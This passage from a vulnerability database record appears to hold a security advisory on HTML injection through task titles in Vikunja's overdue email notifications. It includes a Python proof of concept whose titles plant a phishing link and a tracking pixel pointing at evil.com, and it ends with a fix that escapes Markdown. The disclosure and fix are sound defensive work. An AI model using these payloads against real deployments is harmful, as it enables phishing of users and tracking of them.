When rendered by goldmark and sanitized by bluemonday (which allows `<a>` and `<img>` tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.\n\n## Details\n\nThe overdue task notification at `pkg/models/notifications.go:360` constructs a Markdown list entry:\n\n```go\noverdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + \"tasks/\" + strconv.FormatInt(task.ID, 10) + `) ...`\n```\n\nThe task title is placed inside Markdown link syntax `[TITLE](URL)`. A title containing `]` and `[` breaks the link structure. The assembled Markdown is converted to HTML by goldmark at `pkg/notifications/mail_render.go:214`, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows `<a href>` and `<img src>` with http/https URLs, the injected links and images survive sanitization and reach the email recipient.\n\nThe same pattern affects multiple notification types at `notifications.go` lines 72, 176, 227, and 318.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"Shared\"}).json()\n\n# create task with markdown injection in title + past due date\nrequests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h, json={\n    \"title\": 'test](https://evil.com) [Click to verify your account',\n    \"due_date\": \"2026-03-26T00:00:00Z\"})\n\n# create task with tracking pixel injection\nrequests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h, json={\n    \"title\": '![](https://evil.com/track.png?user=bob)',\n    \"due_date\": \"2026-03-26T00:00:00Z\"})\n\n# enable overdue reminders for the user\nrequests.post(f\"{API}/user/settings/general\", headers=h, json={\n    \"email_reminders_enabled\": True,\n    \"overdue_tasks_reminders_enabled\": True,\n    \"overdue_tasks_reminders_time\": \"09:00\"})\n\n# wait for the overdue notification cron to fire, then inspect the email\n```\n\nThe overdue notification email HTML contains:\n```html\n<li>\n  <a href=\"https://evil.com\">test</a>\n  <a href=\"http://vikunja.example/tasks/5\">Click to verify your account</a>\n  (Shared), since one day\n</li>\n<li>\n  <a href=\"http://vikunja.example/tasks/6\">\n    <img src=\"https://evil.com/track.png?user=bob\">\n  </a>\n  (Shared), since one day\n</li>\n```\n\nThe attacker's `evil.com` link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.\n\n## Impact\n\nAn attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.\n\n## Recommended Fix\n\nEscape Markdown special characters in task titles before embedding them in Markdown content:\n\n```go\nfunc escapeMarkdown(s string) string {\n    replacer := strings.NewReplacer(\n        \"[\", \"\\\\[\", \"]\", \"\\\\]\",\n        \"(\", \"\\\\(\", \")\", \"\\\\)\",\n        \"!\", \"\\\\!\", \"`\", \"\\\\`\",\n        \"*\", \"\\\\*\", \"_\", \"\\\\_\",\n        \"#\", \"\\\\#\",\n    )\n    return replacer.Replace(s)\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:34:53+00:00","modifiedAt":"2026-06-25T18:56:15.5460313+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-45q4-x4r9-8fqj","https://nvd.nist.gov/vuln/detail/CVE-2026-35600","https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja/commit/0f3730d045f20e261e3cdfc6d93c325653395b64","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-45q4-x4r9-8fqj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-45q4-x4r9-8fqj","identifiers":["GHSA-45q4-x4r9-8fqj","CVE-2026-35600","GO-2026-5111"]},"retained":false,"historicalAffected":[]},{"revision":"accb7aaf990345ddaea0ca950db2279e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5111","aliases":["CVE-2026-35600","GHSA-45q4-x4r9-8fqj"],"title":"Vikunja has HTML Injection via Task Titles in Overdue Email Notifications in code.vikunja.io/api","description":"Vikunja has HTML Injection via Task Titles in Overdue Email Notifications in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:20.9629065+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-45q4-x4r9-8fqj","https://nvd.nist.gov/vuln/detail/CVE-2026-35600","https://github.com/go-vikunja/vikunja/commit/0f3730d045f20e261e3cdfc6d93c325653395b64","https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5111","license":"OSV · upstream source license applies","key":"osv:GO-2026-5111","identifiers":["GO-2026-5111","CVE-2026-35600","GHSA-45q4-x4r9-8fqj"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
